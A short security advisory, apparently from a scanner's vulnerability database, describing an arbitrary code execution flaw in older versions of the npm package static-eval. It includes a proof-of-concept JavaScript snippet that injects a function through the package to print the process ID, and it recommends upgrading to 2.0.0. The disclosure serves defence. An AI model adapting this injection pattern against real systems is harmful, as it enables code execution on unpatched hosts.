QID 983082

Affected versions of `static-eval` pass untrusted user input directly to the global function constructor, resulting in an arbitrary code execution vulnerability when user input is parsed via the package.

## Proof of concept
```
var evaluate = require('static-eval');
var parse = require('esprima').parse;
var src = '(function(){console.log(process.pid)})()';
var ast = parse(src).body[0].expression;
var res = evaluate(ast, {});
// Will print the process id
```


## Recommendation

Update to version 2.0.0 or later.

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.